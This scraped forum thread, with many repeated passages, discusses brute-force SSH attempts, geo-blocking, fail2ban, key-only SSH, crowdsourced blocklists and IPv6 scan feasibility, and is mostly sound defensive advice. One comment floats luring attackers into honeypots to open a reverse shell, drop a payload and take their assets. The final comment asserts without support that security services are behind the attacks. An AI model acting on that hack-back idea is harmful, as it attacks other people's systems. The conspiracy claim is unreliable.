Edit: Seems the commentator I replied to now have added "just personal stuff and a private forum" to their comment which was not there before, so most of my point is moot now, as I assumed at least semi-public content/service, not private.
Your approach to security has a number of issues. First, you don't know if someone is actually interested in your thing or not based on the location. They could be visiting China, could still be able to speak English or any other reason. Secondly, the mapping of Location <> IP Address is not as guaranteed as you seem to think. Plenty of IPs get flagged as Chinese while not being in China, and vice-versa is true as well. Just because some 3rd party says a host/client is in a specific location doesn't make that true.
Edit: Seems the commentator I replied to now have added "just personal stuff and a private forum" to their comment which was not there before, so most of my point is moot now, as I assumed at least semi-public content/service, not private.
I DO run a "public" service, in that it provides some info to people. However I run it at totally my own cost, the information is for entertainment value only (and not in the "I just say that to get around this being horrible in some way"; it's literally information about gaming and games), and I just don't need the hassle of the constant hack attempts. I block China and Russia, and have for years, using publicly available IP ranges.
Yes, I know it's not going to get just China and Russia. Yes I know I'm blocking false positives. Yes I know I'm allowing false negatives.
And honestly, I couldn't care less. It's my service, my information, my time, and my money, and I don't feel the least bit bad nor swayed by some appeal to morality or fairness.
> Your approach to security has a number of issues.
Your examples are a bit of non-sequitur. If I OVERBAN, I'm not decreasing my security. The non-(Chinese hacker) visitor in China can't get in, that's not a security issue. IP's being flagged as Chinese not being in China... can't get in also not a security issue. Vice versa is a bit of a security issue, with which the second layer of my security onion deals.
Yes, I know it's not going to get just China and Russia. Yes I know I'm blocking false positives. Yes I know I'm allowing false negatives.
And honestly, I couldn't care less. It's my service, my information, my time, and my money, and I don't feel the least bit bad nor swayed by some appeal to morality or fairness.
> Your approach to security has a number of issues.
Your examples are a bit of non-sequitur. If I OVERBAN, I'm not decreasing my security. The non-(Chinese hacker) visitor in China can't get in, that's not a security issue. IP's being flagged as Chinese not being in China... can't get in also not a security issue. Vice versa is a bit of a security issue, with which the second layer of my security onion deals.
You typed my thoughts exactly. I run a popular website, and I just block everything from China, and do a Captcha challenge for others such as Russia. People don't have the right to access my website. If a Chinese citizen is (correctly) angry about the situation then they need to petition their government to change the culture that permits massive continuous hacking attempts from their country.
I use Cloudflare which makes blocking countries simple, no need to keep updated IP lists.
I use Cloudflare which makes blocking countries simple, no need to keep updated IP lists.
Honest question: what impact did you see when you switched from not blocking China + Russia to blocking them? What type of attacks are you seeing primarily?
Failed login attempts / brute force attempts seem like the cost of doing business in public. I assume that if my servers are accessible from 1 or more public addresses, they WILL be subject to brute force attempts. I also assume that by making my passwords sufficiently randomized, the probability of these attacks having any effect is infinitesimal.
To me, blocking an IP because it tried to log in to your servers seems purely like a fear response with no rational basis (or at least a poor understanding of probability / stats). By extension, blocking a range of IPs because of some arbitrarily elevated frequency of login attempts seems equally silly.
Now for DOS attacks, temporary IP blocks make perfect sense.
Failed login attempts / brute force attempts seem like the cost of doing business in public. I assume that if my servers are accessible from 1 or more public addresses, they WILL be subject to brute force attempts. I also assume that by making my passwords sufficiently randomized, the probability of these attacks having any effect is infinitesimal.
To me, blocking an IP because it tried to log in to your servers seems purely like a fear response with no rational basis (or at least a poor understanding of probability / stats). By extension, blocking a range of IPs because of some arbitrarily elevated frequency of login attempts seems equally silly.
Now for DOS attacks, temporary IP blocks make perfect sense.
> Honest question: what impact did you see when you switched from not blocking China + Russia to blocking them? What type of attacks are you seeing primarily?
Thousands of brute force login attempts per day gone. The effect is, as you say, small, but it was non 0 and now it is 0, and it's a bunch of noise I don't have to wade through.
> Failed login attempts / brute force attempts seem like the cost of doing business in public.
Yup, and I pay that cost by blocking the source of 98% of them.
> purely like a fear response with no rational basis (or at least a poor understanding of probability / stats)
Thanks, clearly you know me well /s. And honestly, again, I don't feel that I even NEED a rational basis. It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks. If you want to deride me by calling into question my motives, you can do that too for whatever reason YOU want to, but that's on you.
Thousands of brute force login attempts per day gone. The effect is, as you say, small, but it was non 0 and now it is 0, and it's a bunch of noise I don't have to wade through.
> Failed login attempts / brute force attempts seem like the cost of doing business in public.
Yup, and I pay that cost by blocking the source of 98% of them.
> purely like a fear response with no rational basis (or at least a poor understanding of probability / stats)
Thanks, clearly you know me well /s. And honestly, again, I don't feel that I even NEED a rational basis. It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks. If you want to deride me by calling into question my motives, you can do that too for whatever reason YOU want to, but that's on you.
> If you want to deride me by calling into question my motives, you can do that too for whatever reason YOU want to, but that's on you
You are free to act under whatever impetus you want and while I did call in to question your motives (implicitly), I never meant that as a derision. I frequently ask myself "why am I doing this?". It usually doesn't hurt to self reflect.
Edit: Something about this kept nagging me. And I think its this:
>It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks.
I see parallels to a sentiment that used to be fairly common in the U.S.:
"It's my store, I'll refuse whomever I feel like refusing for whatever reason I want, thanks"
Laws against that kind of thing are relatively new (1964?). You have a valid reason to block certain users (hacks) but do you really not see a problem extending that to national origin?
You are free to act under whatever impetus you want and while I did call in to question your motives (implicitly), I never meant that as a derision. I frequently ask myself "why am I doing this?". It usually doesn't hurt to self reflect.
Edit: Something about this kept nagging me. And I think its this:
>It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks.
I see parallels to a sentiment that used to be fairly common in the U.S.:
"It's my store, I'll refuse whomever I feel like refusing for whatever reason I want, thanks"
Laws against that kind of thing are relatively new (1964?). You have a valid reason to block certain users (hacks) but do you really not see a problem extending that to national origin?
The thing is there are so many attackers/rookies out there. I wouldn't call them hacker as they are most likely noob running scripts to scan the network. Just seconds after I exposed my server's SSH port, there were failed login attempts. I wasn't worried about someone breaking in as I've harden my server with all the patches, no password login allowed and the private key was on a YubiKey which I don't have it myself. So unless there was a 0-day I haven't patched, it's very unlikely someone else can actually gain access to it. From the logs I could see lots of failed logins using various user names/passwords most likely using a dictionary. Those nonsense soon flooded my logs and I eventually had to change the SSH port as I could not stand that any longer.
As you mentioned, simply ban couldn't help less. But anyway, their servers, their choices. I've no comment on that.
As you mentioned, simply ban couldn't help less. But anyway, their servers, their choices. I've no comment on that.
> It's my service, my information, my time, and my money, and I don't feel the least bit bad nor swayed by some appeal to morality or fairness.
Nailed it!!! I feel the same
Nailed it!!! I feel the same
totally agree.
I can understand that limiting services is sad, but nobody has a claim either, right?
So offering to some is way better than offering to none because of overwhelming opsec work (which is still secondary to the content). If the vandals show a pattern, it's bad luck if one shows the same. And proxying should be known to those who suffer from the block.
Maybe internet has to let go the mania of offering everything to everybody all the time. Like real life.
I can understand that limiting services is sad, but nobody has a claim either, right?
So offering to some is way better than offering to none because of overwhelming opsec work (which is still secondary to the content). If the vandals show a pattern, it's bad luck if one shows the same. And proxying should be known to those who suffer from the block.
Maybe internet has to let go the mania of offering everything to everybody all the time. Like real life.
Can you really call it a public service if its not accessible to the public? Maybe a "Americas/Europe"-only service, but then it would sound questionable...
> Can you really call it a public service if its not accessible to the public? Maybe a "Americas/Europe"-only service, but then it would sound questionable...
The Seattle Public Library is a public service despite not allowing residents of Guangzhou to borrow books.
The Seattle Public Library is a public service despite not allowing residents of Guangzhou to borrow books.
That is false. They can apply for a visitor card - which has a $25 fee.
In any case, physical goods and services are not analogous to digital goods and services. Or are you redoing the the piracy-is-stealing argument??
In any case, physical goods and services are not analogous to digital goods and services. Or are you redoing the the piracy-is-stealing argument??
I'm doing the "it's still a 'public service' even if there are location restrictions" argument, since almost anything I can think of as a typical example of a "public service" (police, fire, medical, education, access to courts, etc.) also have location restrictions and we call all of those things "public services".
If you want a special definition of "public service" that means "accessible every human on earth without any exclusions" then that's fine, but telling someone something isn't a public service because you want to use a special definition of the phrase that no one else seems to use is a bit... overly argumentative?
If you want a special definition of "public service" that means "accessible every human on earth without any exclusions" then that's fine, but telling someone something isn't a public service because you want to use a special definition of the phrase that no one else seems to use is a bit... overly argumentative?
Fair enough, I didn't mean to be argumentative but I accept your criticism.
I think the commenter wouldn't have any issue calling it an "Americas/Europe"-only service and by his (and arguably, my) logic, it doesn't sound questionable. One has to make choices.
think it is totally fine. Most the web is build around ASCII text any way. Since he is running it on his own dime, it is totally ok to not have Chinese/Russian visitors.
Yes, the server is of course properly secured. There was something that made me do this in the past, but I don't remember. Never had any problems with it whatsoever.
I do know, because my services (except the forum) are for me exclusively. On the forum, I know everyone. None of the members live in China, have relatives in China or travel to China. If they cannot access the forum, they can contact me in another way.
I do know, because my services (except the forum) are for me exclusively. On the forum, I know everyone. None of the members live in China, have relatives in China or travel to China. If they cannot access the forum, they can contact me in another way.
Yeah, if you're running private services, then my point is moot of course, should have known :) Thanks for explaining though.
I don't think it matters if the geo-location table is correct or not. If traffic from an IP range is entirely malicious, block that IP range. If that range happens to be Chinese or from Florida it doesn't really matter, does it?
Most of the time these malicious attacks will come from a data center, where someone is no doubt leasing some hardware until they get shut down.
When I get any number of malicious known attack vectors, I have a process that runs a few services against the IP for geolocation and server info. If it's a known data center, its block is immediately blocked, otherwise just the IP.
For whatever reason, they tend not to get new ips easily, so shutting down the IP will usually buy a few days before they have a new instance on qualys or whatever.
When I get any number of malicious known attack vectors, I have a process that runs a few services against the IP for geolocation and server info. If it's a known data center, its block is immediately blocked, otherwise just the IP.
For whatever reason, they tend not to get new ips easily, so shutting down the IP will usually buy a few days before they have a new instance on qualys or whatever.
Correct, blocking a IP block based on that malicious traffic comes from there might be a worthwhile strategy (although I'd argue that it's less important than properly configuring your stuff anyways, getting a new IP is trivial), and also a strategy which is different than what fuzzy2 was describing, which is what I was arguing against.
Not the GP, but every web server I've ever run has had IP addresses originating from China at the top of the frequency list for nefarious attempts to compromise the security. If someone is temporarily visiting China and wants to visit one of my websites, they can wait until they return. I've not removing my blocks on IP addresses.
> I assumed at least semi-public content/service, not private.
Um, they posted information on a public website. It's not private. Even if the site is owned by them, it is publicly available, of their own accord.
Um, they posted information on a public website. It's not private. Even if the site is owned by them, it is publicly available, of their own accord.
"personal stuff" and "private forums" is probably as private as it gets, for being something accessible on the web, and I wouldn't call those publicly available, as you'd need to pass some sort of authorization/authentication to be able to see it. Or I gravely misunderstand your comment.
That's kinda against the spirit of the Internet, well, what it should be IMO.
But I do also ban, only temporarily. I found that a lot of IPs just stop reappearing/retrying, likely because they blacklist my IP and move on.
But I do also ban, only temporarily. I found that a lot of IPs just stop reappearing/retrying, likely because they blacklist my IP and move on.
this seems to presume that malicious things originating in china scanning/probing other peoples' IP ranges don't use proxies or rented VMs, or relay compromised hosts almost anywhere in the world, etc. all that banning chinese /16 or /12 size netblocks will do is cut down on the clutter in your logs, not actually accomplish anything.
getting scanned and probed by peoples' automated tools looking for vulnerabel daemon RCEs has been a log clutter issue for about 25 years or more now. it's part of the background noise of the internet. ever since the days of having your http daemon logs cluttered up with GET DEFAULT.IDA stuff and similar in 2001.
https://www.google.com/search?client=firefox-b-1-d&q=get+def...
put more effort into ensuring that public facing daemons are totally up to date and hardened against external compromise. Or better yet don't have them public facing at all, if you can admin your server via an ssh daemon that only listens on a logical vpn interface or some sort of OOB interface.
getting scanned and probed by peoples' automated tools looking for vulnerabel daemon RCEs has been a log clutter issue for about 25 years or more now. it's part of the background noise of the internet. ever since the days of having your http daemon logs cluttered up with GET DEFAULT.IDA stuff and similar in 2001.
https://www.google.com/search?client=firefox-b-1-d&q=get+def...
put more effort into ensuring that public facing daemons are totally up to date and hardened against external compromise. Or better yet don't have them public facing at all, if you can admin your server via an ssh daemon that only listens on a logical vpn interface or some sort of OOB interface.
Totally agree.
Sometimes I watch my live logs of auth.log of about 100 public servers. I am probably see 10 port scans or ssh attempts per second from random machines. Nothing to worry about if machines setup correctly.
More worrying are the people who try to break our public APIs. Either by letting it to crash, brute force operations etc.
The security flaws are often inside the software domain layer.
Wow. I'm looking at only one of my servers and there is a root login attempt every second. I feel a little embarrassed I am surprised by this.
IPs on the log files most likely are exit proxies if those attackers were not rookies. Simply change the SSH port only would deter 90% of those attempts per my personal experience.
while I'm not the greatest fan of fail2ban ever, though I do use it on some public facing servers, it also has the option for "recidivism" which means that an IP that repeatedly gets itself banned will be banned for an even longer duration, which at least cuts down on the log file clutter somewhat.
You were right about it. I'm currently not using fail2ban and I probably should start using it. Those login failures are nuisance.
And also legitimate Chinese visitors will use VPN to access foreign websites anyway. Because of the GreatFirewall, a Chinese person must use a VPN to reliably visit foreign websites.
Not an option for me, but thanks for the suggestion. I don't want to erect a geo-fence here.
IP ranges associated with China are available on the net.
Didn't help me all that much.
Most of the abuse and spam leveled at the servers I manage come through $5 DigitalOcean servers being used as relays.
It's the same thing that ruined voice telephony: Make the connection so cheap that it can be abused at scale.
Didn't help me all that much.
Most of the abuse and spam leveled at the servers I manage come through $5 DigitalOcean servers being used as relays.
It's the same thing that ruined voice telephony: Make the connection so cheap that it can be abused at scale.
I mean just block VPC ranges then. They’re public, and lots of sites already do it. I would bet you don’t expect and traffic originating from rented servers.
Please check this very interesting real-time Live Threat Map by Radware [1].
Most of these attacks are harmless and the attacks that you should be worried is the Advanced Persistent Threat (APT) types [2].
Around eight years back I've proposed a system for crowdsourcing in covertly detecting APT similar to the minefields concept being used in war and I still think it's the best way to reliably detect APT including zero-day attacks.
Few months back in HN someone proposed an open source solution for crowdsourcing firewall, IDS and IPS but cannot get the link for now on top of my head at the moment.
[1] Live Threat Map:
https://livethreatmap.radware.com/
[2] Advanced Persistent Trap:
https://en.wikipedia.org/wiki/Advanced_persistent_threat
Most of these attacks are harmless and the attacks that you should be worried is the Advanced Persistent Threat (APT) types [2].
Around eight years back I've proposed a system for crowdsourcing in covertly detecting APT similar to the minefields concept being used in war and I still think it's the best way to reliably detect APT including zero-day attacks.
Few months back in HN someone proposed an open source solution for crowdsourcing firewall, IDS and IPS but cannot get the link for now on top of my head at the moment.
[1] Live Threat Map:
https://livethreatmap.radware.com/
[2] Advanced Persistent Trap:
https://en.wikipedia.org/wiki/Advanced_persistent_threat
I did the same thing - blocked China, then moved the SSH login to another port. It cut down some log noise which was good enough for us.
[deleted]
I do the same, but my issue is with rented servers on AWS, Digital Ocean and the like. There's no way of knowing who owns a rented IP address, the WHOIS record just outputs "US", which is meaningles.
I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.
Just to be clear, this is in the context of my private servers which host my mailserver as well as my personal website which is not meant for public consumption, but which I need to be publicly available.
I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.
Just to be clear, this is in the context of my private servers which host my mailserver as well as my personal website which is not meant for public consumption, but which I need to be publicly available.
> I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.
But what would that accomplish? Unlike rogue ISPs in other countries, big cloud providers have abuse reporting that actually works.
Or just block all of them outright if they do not need to access your services.
But what would that accomplish? Unlike rogue ISPs in other countries, big cloud providers have abuse reporting that actually works.
Or just block all of them outright if they do not need to access your services.
Depends on the country the cloud provider is located in. I have had zero luck getting anything taken down by reporting to abuse emails or forms of Aliyun, for example.
I have had much better luck with US or EU based cloud providers. In particular, I remember DigitalOcean being very responsive.
I have had much better luck with US or EU based cloud providers. In particular, I remember DigitalOcean being very responsive.
Alibaba Cloud? I actually would’ve expected better from them! Never had to report anything myself, seeing how I’m probably blocking them.
I recently had contact with AWS about spam sent using SES and found the response times very quick and the replies appropriate (they’ll look into it but cannot report back, what I expected anyway). This particular spam stopped coming, but that could be a coincidence.
I recently had contact with AWS about spam sent using SES and found the response times very quick and the replies appropriate (they’ll look into it but cannot report back, what I expected anyway). This particular spam stopped coming, but that could be a coincidence.
> I think there's an need for forcing service providers to group IP blocks by the nationality of who rents them.
Would neither help nor work, as there's TOR and VPNs to access your servers from anywhere in the wirld.
Would neither help nor work, as there's TOR and VPNs to access your servers from anywhere in the wirld.
I use fail2ban on a server that is listening on a non-standard port.
I monitor the bans on a daily basis. The IPs come from all over the world but when China shut down from Covid the login attempts just _stopped_. Like, the silence was deafening, like I thought the server was compromised and logging disabled.
It was spooky as hell, but as things came back to something resembling normal, the background radiation started picking up again and I am back to 60-80 bans per day. I have a hell of a list of compromised IPs now.
I monitor the bans on a daily basis. The IPs come from all over the world but when China shut down from Covid the login attempts just _stopped_. Like, the silence was deafening, like I thought the server was compromised and logging disabled.
It was spooky as hell, but as things came back to something resembling normal, the background radiation started picking up again and I am back to 60-80 bans per day. I have a hell of a list of compromised IPs now.
I do something similar with firehol lists and iptables/ipfw scripts and it cut my auth log spam down to almost nothing - single digit auth attempts per day per server now usually. My first pass of blocking .cn network space on its own cut my log spam by probably 90% (thousands of attempts per day down to dozens).
Also with https://www.greynoise.io/ api you can determine if these IPs are scanning the internet or targeting you specifically.
Same thing is possible using https://app.crowdsec.net/ (just create a free user account and use the search feature) - and if you install the accompanying agent, those bad actors already known will be blocked automatically (just as those that attack you will be shared to all other users). This is collaboration that makes sense!
Wow, did not know that this existed. Thanks so much!
Change the default ssh port. Most of the attacks are from automated crawlers that try to brute force port 22. Your logs will become much more manageable.
I do the same. There's no need at all for my own system's sshd to adhere to any notion of well known ports. Despite the growing availability of pre-mapped host information I can still count the amount of illicit login attempts the past 10 years on two hands.
> "failed login attempts"
At least with SSH, once you move to only using key-based authentication, don't you simply stop worrying about weak passwords and failed logins?
You can then focus on keeping up to date with security patches, which is at least as important, but takes far less time.
At least with SSH, once you move to only using key-based authentication, don't you simply stop worrying about weak passwords and failed logins?
You can then focus on keeping up to date with security patches, which is at least as important, but takes far less time.
Also changing the default port. weird these two simple options are not used. They won't stop those automated attempts from appearing in your logs, but will greatly decrease them
It's still noise in the log you can do without if you really want to know what's going on with your system. For me I firewall ssh to only accept from known IPs. Worst case if I have to expand that list I'll login via the VPS provider's console to do that.
Hmm, there's noise, and there's noise.
If you know that password auth is disabled, don't you just grep out all the disconnected/preauth and 'invalid user' lines before you even look at (or process) auth.log?
On a box where password auth is enabled, you can't be sure what's signal and what's noise.
If you know that password auth is disabled, don't you just grep out all the disconnected/preauth and 'invalid user' lines before you even look at (or process) auth.log?
On a box where password auth is enabled, you can't be sure what's signal and what's noise.
I guess I'm also worried about an SSH zero day hitting that I could avoid if I firewall filter the source IPs.
I offer other services on the public internet so a zero day could hit them but I don't have a choice in those cases (eg. incoming mail on 25), however with SSH I don't need to offer it to the world so why take the risk in the first place?
I offer other services on the public internet so a zero day could hit them but I don't have a choice in those cases (eg. incoming mail on 25), however with SSH I don't need to offer it to the world so why take the risk in the first place?
As a machine learning researcher, I know that I have different tools at my disposal:
[...]
[...]
awk '($(NF-1) = /Ban/){print $NF}' /tmp/fail2ban.log \
| sort \
| jdresolve - \
| uniq -c \
| sort -n -r \
| sed -e 's/^[ \t]*//' \
| sed -e 's/ /\t/' \
| head -n 100
That's the joke :)
This is a good opportunity to recommend nft blackhole [1].
Automatically block countries by CIDR blocks and known bad actor IPs. Auto-updates these lists and adds them to your firewall.
It's a 5 minute install and maintenance free afterwards.
Not perfect, but reduces attack surface and log spam.
[1] https://github.com/tomasz-c/nft-blackhole
Automatically block countries by CIDR blocks and known bad actor IPs. Auto-updates these lists and adds them to your firewall.
It's a 5 minute install and maintenance free afterwards.
Not perfect, but reduces attack surface and log spam.
[1] https://github.com/tomasz-c/nft-blackhole
Looks not-so reliable. Either fetches a list of blocks from https://github.com/herrbischoff/country-ip-blocks which is a random GitHub repository that collects "straight from the Regional Internet Registries" without any stating any sources nor method for gathering it (which also, I'm assuming, is self-reported data from those registries), or it fetches it from https://www.ipdeny.com/ which currently runs with an expired TLS certificate, which on top of everything, nft-blackhole ignores any issues with certificates anyways, leaving it wide open to MITM attacks (https://github.com/tomasz-c/nft-blackhole/blob/8a656ac0a803a...)
I wouldn't run that if I'd want something to reliably block someone from a specific country.
> Not perfect, but reduces attack surface and log spam.
You know what also does that? Setting up sshd properly in the first place.
I wouldn't run that if I'd want something to reliably block someone from a specific country.
> Not perfect, but reduces attack surface and log spam.
You know what also does that? Setting up sshd properly in the first place.
Calling the repository of Marcel Bischoff a random GitHub repository. LOL
Yes, GitHub repositories are generally not considered trust-worthy sources of information unless you actually could cite your resources in the repository itself. This information gathered there has 1) no source stated and 2) no way of reproducing the information yourself, earning it the description of "A Random GitHub Repository", even when you try to appeal to authority.
How about using a tool like https://crowdsec.net/ that collects (basic, anonymious) information from users on the attacks they see, vets it and shares it back to all users via blocklists? Currently around 800k signals are collected and there's around 19k vetted bad ips in the blocklist. Sounds more reliable to me.
Anecdotally, I run a several servers hosting several websites and several Android app back-ends.
Every few weeks they are attacked: 12 hours of attempted logins, port scanning, etc.
It's perfectly normal and nothing new.
Every few weeks they are attacked: 12 hours of attempted logins, port scanning, etc.
It's perfectly normal and nothing new.
What are best practices to secure back-end services, websites? Any good resources on the topic
I'd assume that most attacks are coming not from attackers directly, but from some sort of hacked devices in some other country, either webcam with root access or similar, maybe even proxy servers. Would be interesting to match malicious IP addresses with ones indexed by shodan to test this theory.
I'm still thinking about adding some Chinese forbidden texts to my headers to block them using their own firewall. Recently Russian IPS started to attack me as well, so perhaps adding something about the war would help block them as well? Any ideas from you guys?
My servers currently ban in average 1200 individual addresses and around 20 /24 cidr network addresses, which is triggered after N individual addresses in a specific subnet size gets flagged. The amount of abuse traffic is ridiculous.
I do a similar monitoring on my personal servers which shouldn’t be of interest to anyone really. Interestingly I don’t think I have ever seen anyone trying to login on any protocol using IPv6. Which is why it is most likely bots scanning the whole ipv4 address space rather than targeting those servers.
I'm keen to see where this goes as we move to IPv6 only services. The claim now is IPv6 is too large to scan but maybe they're not bothering because most IPv6 servers also listen on IPv4.
Once they move to IPv6 only (after I need to sell my house to afford a single IPv4 address) it might be worth the extra scan time.
Once they move to IPv6 only (after I need to sell my house to afford a single IPv4 address) it might be worth the extra scan time.
While IPv4 in it's entirely is trivial to scan (could do it in ~5 minutes more or less with the right hardware), usually you'd go for ranges to scan instead of the entire space, and IPv6 will still be feasible to scan for ranges, although they become larger.
I disagree that IPv6 will be feasible to scan except in unusual circumstances. There might be a case for scanning all of the low ranges ::1 through ::16 or so in the low 2001:: range, but even then you're searching for a rare needle in a haystack. Mass scans become quite impractical.
Usually you perform scans with highly defined IP blocks (at least when you have a target in mind) that are announced by the organizations themselves. Since the ranges are announced publicly, you already have them. Since you have a target in mind, you already have at least one IP. Now take a range that includes that target, and you have a block that has at least one host inside of it. Use masscan that can do 10 million packets/second (with just one machine) and I'm pretty sure you can feasibly scan IPv6 blocks as well, you just have to get better at targeting and not just wildly target "0.0.0.0/8" (but the IPv6 equivalent).
Moreover, you can scan for one common port inside a block (like 22, 80, 443 or whatever) which means you can cover wider blocks, and for the hosts you find, run a scan covering a bigger range of ports. Again, improve the targeting and IPv6 won't stop you either.
Moreover, you can scan for one common port inside a block (like 22, 80, 443 or whatever) which means you can cover wider blocks, and for the hosts you find, run a scan covering a bigger range of ports. Again, improve the targeting and IPv6 won't stop you either.
If you're scanning 10 million hosts per second and know the netblock you want to scan it will only take on average a touch under 30,000 years to find the host.
In IPv4 land finding that same host would require scanning a single address.
In IPv4 land finding that same host would require scanning a single address.
The extra scan time? You certainly can't possibly physically scan the whole 128bit address space. I am not even sure you can if you know which /48 prefixes have been assigned.
I used SSHGuard in the past which can actually cover a lot more services than just SSH. I imagine this sort of daemon is useful when you have external customers.
It also has a touchy behaviour which gradually increases the timeout until it permanently locks out misbehaving clients.
Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from the network.
For Nginx most bogus requests come directly on the public IP. So you can set up a dummy/catch-all vhost which drops those. https://pastebin.com/MuWgyGGG
Nowadays I just use WireGuard to access my own LAN. But this doesn't scale as well if you need to constantly add and remove clients from the network.
For Nginx most bogus requests come directly on the public IP. So you can set up a dummy/catch-all vhost which drops those. https://pastebin.com/MuWgyGGG
https://crowdsec.net/ can also do something like that, only more advanced in the attacks it detects and because it's sharing bad ips from users to everyone else. I love that users in this way are watching each other's back.
Nice tool, thanks.
> As a machine learning researcher, I know that I have different tools at my disposal: I could monitor connections over a prolonged period of time, categorise them as hostile or not, and train a transformer to detect hostile connections in real time. All this would take is a long time for data collection and labelling, followed by a lot of GPU hours.
It's not so simple. You typically need balanced data, which is difficult to obtain since the attacks don't happen very often (hopefully). This is also why anomaly detection is so difficult.
It's not so simple. You typically need balanced data, which is difficult to obtain since the attacks don't happen very often (hopefully). This is also why anomaly detection is so difficult.
I am surprised more people don't have honeypot servers. Would be very easy to lure in unsuspecting victims, open up a reverse shell, drop a payload, and extract any assets.
I've even had my search logs attacked by bots submitting spam search terms multiple times in hopes that I run a "popular search terms" page... Thank goodness I don't allow public comments, it seems like the ability to comment on things may be totally gone by 2024 unless we don't address the specific places the spam is really coming from and why instead of just hardening our own local security.
I'm surprised nobody has mentioned ssh-audit yet, so here it is: https://pypi.org/project/ssh-audit/
It's useful for helping in hardening the SSH configuration and there is also a web version here: https://www.ssh-audit.com/
It's useful for helping in hardening the SSH configuration and there is also a web version here: https://www.ssh-audit.com/
I see these articles a lot, and always wonder why people go it alone. Can anyone link to a discussion about a distributed community run firewall? Does such a thing exist? If so, please comment.
Don't know about "community run firewall", but if you have a few hosts then you can run CSF/LFD in a cluster config.
See for example: https://www.nixtree.com/blog/csf-cluster-setup-for-hosting-c...
See for example: https://www.nixtree.com/blog/csf-cluster-setup-for-hosting-c...
I don't know exaxtly what you mean by a distributed community run firewall but https://crowdsec.net/ collects information (anonymously) on the attacks users see and shares it with all other users after vetting them. So in this way the community helps itself (or each other, if you will). Currently around 800k signals are collected daily and around 19k ips are shared back to users as blocklists.
I put SSH on another port and only allow a list of ip ranges on the firewall. I don’t see the point of even allowing Russia and China to fill my logs.
It's also worth noting that if an attacker knows how to spoof your IP address, they can lock you out of your own server.
Yeah? You can't really spoof TCP connections... unless you are talking about doing a BGP hijack. Can you elaborate more on this?
It's just something I read here: https://wiki.archlinux.org/title/Fail2ban#Tips_and_tricks
Maybe we can spoof both SYN and ACK and brute force/be lucky with the sequence numbers?
Maybe we can spoof both SYN and ACK and brute force/be lucky with the sequence numbers?
There is also crowdsec that promises fail2ban functionality from a crowdsourced data feed.
https://crowdsec.net/
https://crowdsec.net/
> Who's Attacking My Server?
Probably the security services and some useful idiots who fall for the propaganda pumped out through the media.
Its divide and conquer, been going on since the The Holy Roman Empire, and it doesnt take much to hack switches or have agents in foreign countries so the geolocating attacks is worthless, its just something to mess with your mind.
Its keeps people busy though as you have found out!
Probably the security services and some useful idiots who fall for the propaganda pumped out through the media.
Its divide and conquer, been going on since the The Holy Roman Empire, and it doesnt take much to hack switches or have agents in foreign countries so the geolocating attacks is worthless, its just something to mess with your mind.
Its keeps people busy though as you have found out!